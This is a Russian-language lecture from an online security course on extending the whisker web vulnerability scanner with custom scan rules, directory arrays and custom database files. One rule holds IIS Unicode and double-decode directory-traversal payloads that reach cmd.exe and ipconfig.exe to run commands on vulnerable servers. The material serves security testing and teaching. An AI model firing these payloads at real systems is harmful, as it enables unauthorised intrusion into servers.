Опубликован: 20.02.2007 | Доступ: свободный | Студентов: 3277 / 705 | Оценка: 4.42 / 4.03 | Длительность: 40:03:00
Лекция 8:

Средства взлома Web-приложений Hacking Tools

Пример из жизни. Самообновление Scan.ab

Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.

Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.

Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /robots.txt, занимает одну строку:

scan () / >> robots.txt

Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.

Правило Описание
scan Тип правила scan указывает, что эта строка содержит инструкции для специфической проверки.
([server type]) Используйте круглые скобки, чтобы ограничить проверку одним типом Web-сервера. Например, правило с (iis) запускается только, если whisker идентифицирует целевой сервер, как некоторую версию Microsoft IIS. Обратитесь к файлу server.db за полным списком возможных целей. Если оставить это поле пустым, то это будет применимо ко всем Web-серверам.
/ Это базовая директория, в которой следует искать целевой файл. Это может быть разделенный запятыми список, т.е. /, /cgi-bin, /en/cgi-bin. Вы также можете использовать заранее определенные массивы в этом поле, такие как @array или @cgis. Служит разделителем между директорией и файлами для проверки.
Robots.txt Имя файла для проверки. Используйте разделенный запятыми список в этом поле, чтобы задать несколько файлов для конкретной директории: т.е. db.inc, dbase.inc, database.inc.

Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.

scan (iis) /library >> global.js, local.js, toolbar.js

Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.

Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.

array cgis = cgi-bin, cgi, cgi-old, bin
scan () @cgis shopping.pl
clear @cgis

Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.

Массив может, в свою очередь, содержать массив. Вот пример.

array common = include, library, scripts, tools
array admin = adm, admin, manage, manager, secure, @common

Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.

Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous Decode. Сначала мы определим массив, который содержит наиболее обычные директории по умолчанию, найденные на сервере IIS.

array iisdirs = admin, certadm, certcontrol, certenroll, certque,
    certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
    iissamples, images, info, _mem_bin, msadc, pbserver, rpc, 
    scripts, _vti_bin

Затем определим правила сканирования для проверки (это правило должно быть в одной строке).

scan () @iisdirs 
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
    cmd.exe?/c+dir,
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
   ipconfig.exe?/all+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/
    all+dir, cmd.exe, root.exe

%c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.

Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.

$ whisker.pl -h 192.168.42.27 -w -W -s unicode.db

Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и управляющие интерфейсы. Файл scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html.bak, но не может найти /en/index.html.bak. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.

Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.

array common = inc, include, lib, library, tool, tools
scan (iis) en/@common database.inc, global.inc, local.inc, 
  toolbar.js